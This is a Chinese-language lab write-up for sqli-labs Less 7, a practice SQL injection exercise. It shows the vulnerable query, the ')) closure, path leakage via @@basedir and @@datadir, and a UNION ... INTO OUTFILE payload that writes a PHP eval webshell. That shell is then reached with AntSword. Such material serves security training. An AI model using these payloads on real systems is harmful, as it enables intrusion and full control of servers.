Less_7 利用into Outfile来写shell
sqli-labs 通关指南:Less 7 - 乌漆WhiteMoon )
直接用工具
第二种
看源码
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
id被双层括号和的单引号括起来
所以,闭合为'))
猜解到4报错
判断数据库名的长度
和上道布尔注入差不多
因为根据题目dump into outfile
可知是让我们利用文件导入的方式进行注入,那我们下面就用这种方式来写
mysql使用secure_file_priv
参数对文件读写进行限制,当参数为null的时候无法进行文件导出操作
使用show variables like '%secure%';
所以需要设置一下
修改MySQL下的my.ini的配置文件,将secure_file_priv="/"
添加到my.ini里面,注意要回到phpstudy重启一下mysql(烦死了,我就说怎么改不出来)
然后再次查看就改好啦啦
尝试一下,知道是单引号加上两个括号的注入
首先我们需要知道我网页所在的文件路径,可以从Less_1获取
?id=-1' union select 1,@@basedir,@@datadir--+
@@basedir 该参数指定了MySQL的安装路径(mysql的安装目录)
@@datadir 该参数指定了MYSQL的数据文件的存放目录(就是data文件)
使用union联合查询来注入参数,写入一句话木马
?id=1')) union select 1,2,'<?php @eval($_POST["mima"]);?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\1.php"--+
虽然报错,但执行成功
然后用蚁剑连接
添加一下数据
现在可以随意操作网页所在主机的文件了。